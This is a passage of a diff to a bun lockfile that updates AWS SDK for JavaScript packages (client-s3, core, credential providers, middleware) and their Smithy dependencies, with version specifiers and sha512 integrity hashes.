"@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "@smithy/util-waiter": "^4.0.2", "tslib": "^2.6.2" } }, "sha512-f8SlhU9/93OC/WEI6xVJf/x/GoQFj9a/xXK6QCtr5fvCjfSLgMVFmKTiIl/tgtDRzxUDc8YS6EGtbHjJ3Y/atg=="],
+ "@aws-sdk/client-s3": ["@aws-sdk/client-s3@3.1004.0", "", { "dependencies": { "@aws-crypto/sha1-browser": "5.2.0", "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/credential-provider-node": "^3.972.18", "@aws-sdk/middleware-bucket-endpoint": "^3.972.7", "@aws-sdk/middleware-expect-continue": "^3.972.7", "@aws-sdk/middleware-flexible-checksums": "^3.973.4", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-location-constraint": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-sdk-s3": "^3.972.18", "@aws-sdk/middleware-ssec": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/signature-v4-multi-region": "^3.996.6", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/eventstream-serde-browser": "^4.2.11", "@smithy/eventstream-serde-config-resolver": "^4.3.11", "@smithy/eventstream-serde-node": "^4.2.11", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-blob-browser": "^4.2.12", "@smithy/hash-node": "^4.2.11", "@smithy/hash-stream-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/md5-js": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "@smithy/util-waiter": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-m0zNfpsona9jQdX1cHtHArOiuvSGZPsgp/KRZS2YjJhKah96G2UN3UNGZQ6aVjXIQjCY6UanCJo0uW9Xf2U41w=="],
"@aws-sdk/client-sso": ["@aws-sdk/client-sso@3.623.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.623.0", "@aws-sdk/middleware-host-header": "3.620.0", "@aws-sdk/middleware-logger": "3.609.0", "@aws-sdk/middleware-recursion-detection": "3.620.0", "@aws-sdk/middleware-user-agent": "3.620.0", "@aws-sdk/region-config-resolver": "3.614.0", "@aws-sdk/types": "3.609.0", "@aws-sdk/util-endpoints": "3.614.0", "@aws-sdk/util-user-agent-browser": "3.609.0", "@aws-sdk/util-user-agent-node": "3.614.0", "@smithy/config-resolver": "^3.0.5", "@smithy/core": "^2.3.2", "@smithy/fetch-http-handler": "^3.2.4", "@smithy/hash-node": "^3.0.3", "@smithy/invalid-dependency": "^3.0.3", "@smithy/middleware-content-length": "^3.0.5", "@smithy/middleware-endpoint": "^3.1.0", "@smithy/middleware-retry": "^3.0.14", "@smithy/middleware-serde": "^3.0.3", "@smithy/middleware-stack": "^3.0.3", "@smithy/node-config-provider": "^3.1.4", "@smithy/node-http-handler": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/url-parser": "^3.0.3", "@smithy/util-base64": "^3.0.0", "@smithy/util-body-length-browser": "^3.0.0", "@smithy/util-body-length-node": "^3.0.0", "@smithy/util-defaults-mode-browser": "^3.0.14", "@smithy/util-defaults-mode-node": "^3.0.14", "@smithy/util-endpoints": "^2.0.5", "@smithy/util-middleware": "^3.0.3", "@smithy/util-retry": "^3.0.3", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-oEACriysQMnHIVcNp7TD6D1nzgiHfYK0tmMBMbUxgoFuCBkW9g9QYvspHN+S9KgoePfMEXHuPUe9mtG9AH9XeA=="],
"@aws-sdk/client-sso-oidc": ["@aws-sdk/client-sso-oidc@3.623.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.623.0", "@aws-sdk/credential-provider-node": "3.623.0", "@aws-sdk/middleware-host-header": "3.620.0", "@aws-sdk/middleware-logger": "3.609.0", "@aws-sdk/middleware-recursion-detection": "3.620.0", "@aws-sdk/middleware-user-agent": "3.620.0", "@aws-sdk/region-config-resolver": "3.614.0", "@aws-sdk/types": "3.609.0", "@aws-sdk/util-endpoints": "3.614.0", "@aws-sdk/util-user-agent-browser": "3.609.0", "@aws-sdk/util-user-agent-node": "3.614.0", "@smithy/config-resolver": "^3.0.5", "@smithy/core": "^2.3.2", "@smithy/fetch-http-handler": "^3.2.4", "@smithy/hash-node": "^3.0.3", "@smithy/invalid-dependency": "^3.0.3", "@smithy/middleware-content-length": "^3.0.5", "@smithy/middleware-endpoint": "^3.1.0", "@smithy/middleware-retry": "^3.0.14", "@smithy/middleware-serde": "^3.0.3", "@smithy/middleware-stack": "^3.0.3", "@smithy/node-config-provider": "^3.1.4", "@smithy/node-http-handler": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/url-parser": "^3.0.3", "@smithy/util-base64": "^3.0.0", "@smithy/util-body-length-browser": "^3.0.0", "@smithy/util-body-length-node": "^3.0.0", "@smithy/util-defaults-mode-browser": "^3.0.14", "@smithy/util-defaults-mode-node": "^3.0.14", "@smithy/util-endpoints": "^2.0.5", "@smithy/util-middleware": "^3.0.3", "@smithy/util-retry": "^3.0.3", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-lMFEXCa6ES/FGV7hpyrppT1PiAkqQb51AbG0zVU3TIgI2IO4XX02uzMUXImRSRqRpGymRCbJCaCs9LtKvS/37Q=="],
- "@aws-sdk/core": ["@aws-sdk/core@3.758.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/core": "^3.1.5", "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", "fast-xml-parser": "4.4.1", "tslib": "^2.6.2" } }, "sha512-0RswbdR9jt/XKemaLNuxi2gGr4xGlHyGxkTdhSQzCyUe9A9OPCoLl3rIESRguQEech+oJnbHk/wuiwHqTuP9sg=="],
+ "@aws-sdk/core": ["@aws-sdk/core@3.973.18", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws-sdk/xml-builder": "^3.972.10", "@smithy/core": "^3.23.8", "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-GUIlegfcK2LO1J2Y98sCJy63rQSiLiDOgVw7HiHPRqfI2vb3XozTVqemwO0VSGXp54ngCnAQz0Lf0YPCBINNxA=="],
+
+ "@aws-sdk/crc64-nvme": ["@aws-sdk/crc64-nvme@3.972.4", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-HKZIZLbRyvzo/bXZU7Zmk6XqU+1C9DjI56xd02vwuDIxedxBEqP17t9ExhbP9QFeNq/a3l9GOcyirFXxmbDhmw=="],
"@aws-sdk/credential-provider-cognito-identity": ["@aws-sdk/credential-provider-cognito-identity@3.623.0", "", { "dependencies": { "@aws-sdk/client-cognito-identity": "3.623.0", "@aws-sdk/types": "3.609.0", "@smithy/property-provider": "^3.1.3", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-sXU2KtWpFzIzE4iffSIUbl4mgbeN1Rta6BnuKtS3rrVrryku9akAxY//pulbsIsYfXRzOwZzULsa+cxQN00lrw=="],
@@ -547,9 +579,9 @@
"@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.623.0", "", { "dependencies": { "@aws-sdk/credential-provider-env": "3.620.1", "@aws-sdk/credential-provider-http": "3.622.0", "@aws-sdk/credential-provider-process": "3.620.1", "@aws-sdk/credential-provider-sso": "3.623.0", "@aws-sdk/credential-provider-web-identity": "3.621.0", "@aws-sdk/types": "3.609.0", "@smithy/credential-provider-imds": "^3.2.0", "@smithy/property-provider": "^3.1.3", "@smithy/shared-ini-file-loader": "^3.1.4", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-kvXA1SwGneqGzFwRZNpESitnmaENHGFFuuTvgGwtMe7mzXWuA/LkXdbiHmdyAzOo0iByKTCD8uetuwh3CXy4Pw=="],
- "@aws-sdk/credential-provider-login": ["@aws-sdk/credential-provider-login@3.952.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/nested-clients": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-jL9zc+e+7sZeJrHzYKK9GOjl1Ktinh0ORU3cM2uRBi7fuH/0zV9pdMN8PQnGXz0i4tJaKcZ1lrE4V0V6LB9NQg=="],
+ "@aws-sdk/credential-provider-login": ["@aws-sdk/credential-provider-login@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-gf2E5b7LpKb+JX2oQsRIDxdRZjBFZt2olCGlWCdb3vBERbXIPgm2t1R5mEnwd4j0UEO/Tbg5zN2KJbHXttJqwA=="],
- "@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.758.0", "", { "dependencies": { "@aws-sdk/credential-provider-env": "3.758.0", "@aws-sdk/credential-provider-http": "3.758.0", "@aws-sdk/credential-provider-ini": "3.758.0", "@aws-sdk/credential-provider-process": "3.758.0", "@aws-sdk/credential-provider-sso": "3.758.0", "@aws-sdk/credential-provider-web-identity": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/credential-provider-imds": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-+DaMv63wiq7pJrhIQzZYMn4hSarKiizDoJRvyR7WGhnn0oQ/getX9Z0VNCV3i7lIFoLNTb7WMmQ9k7+z/uD5EQ=="],
+ "@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.972.18", "", { "dependencies": { "@aws-sdk/credential-provider-env": "^3.972.16", "@aws-sdk/credential-provider-http": "^3.972.18", "@aws-sdk/credential-provider-ini": "^3.972.17", "@aws-sdk/credential-provider-process": "^3.972.16", "@aws-sdk/credential-provider-sso": "^3.972.17", "@aws-sdk/credential-provider-web-identity": "^3.972.17", "@aws-sdk/types": "^3.973.5", "@smithy/credential-provider-imds": "^4.2.11", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-ZDJa2gd1xiPg/nBDGhUlat02O8obaDEnICBAVS8qieZ0+nDfaB0Z3ec6gjZj27OqFTjnB/Q5a0GwQwb7rMVViw=="],
"@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.620.1", "", { "dependencies": { "@aws-sdk/types": "3.609.0", "@smithy/property-provider": "^3.1.3", "@smithy/shared-ini-file-loader": "^3.1.4", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-hWqFMidqLAkaV9G460+1at6qa9vySbjQKKc04p59OT7lZ5cO5VH5S4aI05e+m4j364MBROjjk2ugNvfNf/8ILg=="],
@@ -559,57 +591,57 @@
"@aws-sdk/credential-providers": ["@aws-sdk/credential-providers@3.623.0", "", { "dependencies": { "@aws-sdk/client-cognito-identity": "3.623.0", "@aws-sdk/client-sso": "3.623.0", "@aws-sdk/credential-provider-cognito-identity": "3.623.0", "@aws-sdk/credential-provider-env": "3.620.1", "@aws-sdk/credential-provider-http": "3.622.0", "@aws-sdk/credential-provider-ini": "3.623.0", "@aws-sdk/credential-provider-node": "3.623.0", "@aws-sdk/credential-provider-process": "3.620.1", "@aws-sdk/credential-provider-sso": "3.623.0", "@aws-sdk/credential-provider-web-identity": "3.621.0", "@aws-sdk/types": "3.609.0", "@smithy/credential-provider-imds": "^3.2.0", "@smithy/property-provider": "^3.1.3", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-abtlH1hkVWAkzuOX79Q47l0ztWOV2Q7l7J4JwQgzEQm7+zCk5iUAiwqKyDzr+ByCyo4I3IWFjy+e1gBdL7rXQQ=="],
- "@aws-sdk/eventstream-handler-node": ["@aws-sdk/eventstream-handler-node@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/eventstream-codec": "^4.2.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-4zIbhdRmol2KosIHmU31ATvNP0tkJhDlRj9GuawVJoEnMvJA1pd2U3SRdiOImJU3j8pT46VeS4YMmYxfjGHByg=="],
+ "@aws-sdk/eventstream-handler-node": ["@aws-sdk/eventstream-handler-node@3.972.10", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/eventstream-codec": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-g2Z9s6Y4iNh0wICaEqutgYgt/Pmhv5Ev9G3eKGFe2w9VuZDhc76vYdop6I5OocmpHV79d4TuLG+JWg5rQIVDVA=="],
- "@aws-sdk/middleware-bucket-endpoint": ["@aws-sdk/middleware-bucket-endpoint@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@aws-sdk/util-arn-parser": "3.723.0", "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-etC7G18aF7KdZguW27GE/wpbrNmYLVT755EsFc8kXpZj8D6AFKxc7OuveinJmiy0bYXAMspJUWsF6CrGpOw6CQ=="],
+ "@aws-sdk/middleware-bucket-endpoint": ["@aws-sdk/middleware-bucket-endpoint@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-arn-parser": "^3.972.3", "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-config-provider": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-goX+axlJ6PQlRnzE2bQisZ8wVrlm6dXJfBzMJhd8LhAIBan/w1Kl73fJnalM/S+18VnpzIHumyV6DtgmvqG5IA=="],
- "@aws-sdk/middleware-eventstream": ["@aws-sdk/middleware-eventstream@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-XQSH8gzLkk8CDUDxyt4Rdm9owTpRIPdtg2yw9Y2Wl5iSI55YQSiC3x8nM3c4Y4WqReJprunFPK225ZUDoYCfZA=="],
+ "@aws-sdk/middleware-eventstream": ["@aws-sdk/middleware-eventstream@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-VWndapHYCfwLgPpCb/xwlMKG4imhFzKJzZcKOEioGn7OHY+6gdr0K7oqy1HZgbLa3ACznZ9fku+DzmAi8fUC0g=="],
- "@aws-sdk/middleware-expect-continue": ["@aws-sdk/middleware-expect-continue@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-P38/v1l6HjuB2aFUewt7ueAW5IvKkFcv5dalPtbMGRhLeyivBOHwbCyuRKgVs7z7ClTpu9EaViEGki2jEQqEsQ=="],
+ "@aws-sdk/middleware-expect-continue": ["@aws-sdk/middleware-expect-continue@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-mvWqvm61bmZUKmmrtl2uWbokqpenY3Mc3Jf4nXB/Hse6gWxLPaCQThmhPBDzsPSV8/Odn8V6ovWt3pZ7vy4BFQ=="],
- "@aws-sdk/middleware-flexible-checksums": ["@aws-sdk/middleware-flexible-checksums@3.758.0", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@aws-crypto/crc32c": "5.2.0", "@aws-crypto/util": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/is-array-buffer": "^4.0.0", "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-o8Rk71S08YTKLoSobucjnbj97OCGaXgpEDNKXpXaavUM5xLNoHCLSUPRCiEN86Ivqxg1n17Y2nSRhfbsveOXXA=="],
+ "@aws-sdk/middleware-flexible-checksums": ["@aws-sdk/middleware-flexible-checksums@3.973.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@aws-crypto/crc32c": "5.2.0", "@aws-crypto/util": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/crc64-nvme": "^3.972.4", "@aws-sdk/types": "^3.973.5", "@smithy/is-array-buffer": "^4.2.2", "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-middleware": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7CH2jcGmkvkHc5Buz9IGbdjq1729AAlgYJiAvGq7qhCHqYleCsriWdSnmsqWTwdAfXHMT+pkxX3w6v5tJNcSug=="],
- "@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-LW7RRgSOHHBzWZnigNsDIzu3AiwtjeI2X66v+Wn1P1u+eXssy1+up4ZY/h+t2sU4LU36UvEf+jrZti9c6vRnFw=="],
+ "@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-aHQZgztBFEpDU1BB00VWCIIm85JjGjQW1OG9+98BdmaOpguJvzmXBGbnAiYcciCd+IS4e9BEq664lhzGnWJHgQ=="],
- "@aws-sdk/middleware-location-constraint": ["@aws-sdk/middleware-location-constraint@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-EJEIXwCQhto/cBfHdm3ZOeLxd2NlJD+X2F+ZTOxzokuhBtY0IONfC/91hOo5tWQweerojwshSMHRCKzRv1tlwg=="],
+ "@aws-sdk/middleware-location-constraint": ["@aws-sdk/middleware-location-constraint@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-vdK1LJfffBp87Lj0Bw3WdK1rJk9OLDYdQpqoKgmpIZPe+4+HawZ6THTbvjhJt4C4MNnRrHTKHQjkwBiIpDBoig=="],
- "@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-mUMFITpJUW3LcKvFok176eI5zXAUomVtahb9IQBwLzkqFYOrMJvWAvoV4yuxrJ8TlQBG8gyEnkb9SnhZvjg67w=="],
+ "@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-LXhiWlWb26txCU1vcI9PneESSeRp/RYY/McuM4SpdrimQR5NgwaPb4VJCadVeuGWgh6QmqZ6rAKSoL1ob16W6w=="],
- "@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-CUat2d9ITsFc2XsmeiRQO96iWpxSKYFjxvj27Hc7vo87YUHRnfMfnc8jw1EpxEwMcvBD7LsRa6vDNky6AjcrFA=="],
+ "@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws/lambda-invoke-store": "^0.2.2", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-l2VQdcBcYLzIzykCHtXlbpiVCZ94/xniLIkAj0jpnpjY4xlgZx7f56Ypn+uV1y3gG0tNVytJqo3K9bfMFee7SQ=="],
- "@aws-sdk/middleware-sdk-s3": ["@aws-sdk/middleware-sdk-s3@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-arn-parser": "3.723.0", "@smithy/core": "^3.1.5", "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-6mJ2zyyHPYSV6bAcaFpsdoXZJeQlR1QgBnZZ6juY/+dcYiuyWCdyLUbGzSZSE7GTfx6i+9+QWFeoIMlWKgU63A=="],
+ "@aws-sdk/middleware-sdk-s3": ["@aws-sdk/middleware-sdk-s3@3.972.18", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-arn-parser": "^3.972.3", "@smithy/core": "^3.23.8", "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-config-provider": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-5E3XxaElrdyk6ZJ0TjH7Qm6ios4b/qQCiLr6oQ8NK7e4Kn6JBTJCaYioQCQ65BpZ1+l1mK5wTAac2+pEz0Smpw=="],
- "@aws-sdk/middleware-ssec": ["@aws-sdk/middleware-ssec@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-d4yd1RrPW/sspEXizq2NSOUivnheac6LPeLSLnaeTbBG9g1KqIqvCzP1TfXEqv2CrWfHEsWtJpX7oyjySSPvDQ=="],
+ "@aws-sdk/middleware-ssec": ["@aws-sdk/middleware-ssec@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-G9clGVuAml7d8DYzY6DnRi7TIIDRvZ3YpqJPz/8wnWS5fYx/FNWNmkO6iJVlVkQg9BfeMzd+bVPtPJOvC4B+nQ=="],
- "@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@smithy/core": "^3.1.5", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-iNyehQXtQlj69JCgfaOssgZD4HeYGOwxcaKeG6F+40cwBjTAi0+Ph1yfDwqk2qiBPIRWJ/9l2LodZbxiBqgrwg=="],
+ "@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.972.19", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@smithy/core": "^3.23.8", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-retry": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-Km90fcXt3W/iqujHzuM6IaDkYCj73gsYufcuWXApWdzoTy6KGk8fnchAjePMARU0xegIR3K4N3yIo1vy7OVe8A=="],
- "@aws-sdk/middleware-websocket": ["@aws-sdk/middleware-websocket@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/util-format-url": "3.936.0", "@smithy/eventstream-codec": "^4.2.5", "@smithy/eventstream-serde-browser": "^4.2.5", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/types": "^4.9.0", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-bPe3rqeugyj/MmjP0yBSZox2v1Wa8Dv39KN+RxVbQroLO8VUitBo6xyZ0oZebhZ5sASwSg58aDcMlX0uFLQnTA=="],
+ "@aws-sdk/middleware-websocket": ["@aws-sdk/middleware-websocket@3.972.12", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-format-url": "^3.972.7", "@smithy/eventstream-codec": "^4.2.11", "@smithy/eventstream-serde-browser": "^4.2.11", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-iyPP6FVDKe/5wy5ojC0akpDFG1vX3FeCUU47JuwN8xfvT66xlEI8qUJZPtN55TJVFzzWZJpWL78eqUE31md08Q=="],
- "@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.952.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/middleware-host-header": "3.936.0", "@aws-sdk/middleware-logger": "3.936.0", "@aws-sdk/middleware-recursion-detection": "3.948.0", "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/region-config-resolver": "3.936.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@aws-sdk/util-user-agent-browser": "3.936.0", "@aws-sdk/util-user-agent-node": "3.947.0", "@smithy/config-resolver": "^4.4.3", "@smithy/core": "^3.18.7", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/hash-node": "^4.2.5", "@smithy/invalid-dependency": "^4.2.5", "@smithy/middleware-content-length": "^4.2.5", "@smithy/middleware-endpoint": "^4.3.14", "@smithy/middleware-retry": "^4.4.14", "@smithy/middleware-serde": "^4.2.6", "@smithy/middleware-stack": "^4.2.5", "@smithy/node-config-provider": "^4.3.5", "@smithy/node-http-handler": "^4.4.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", 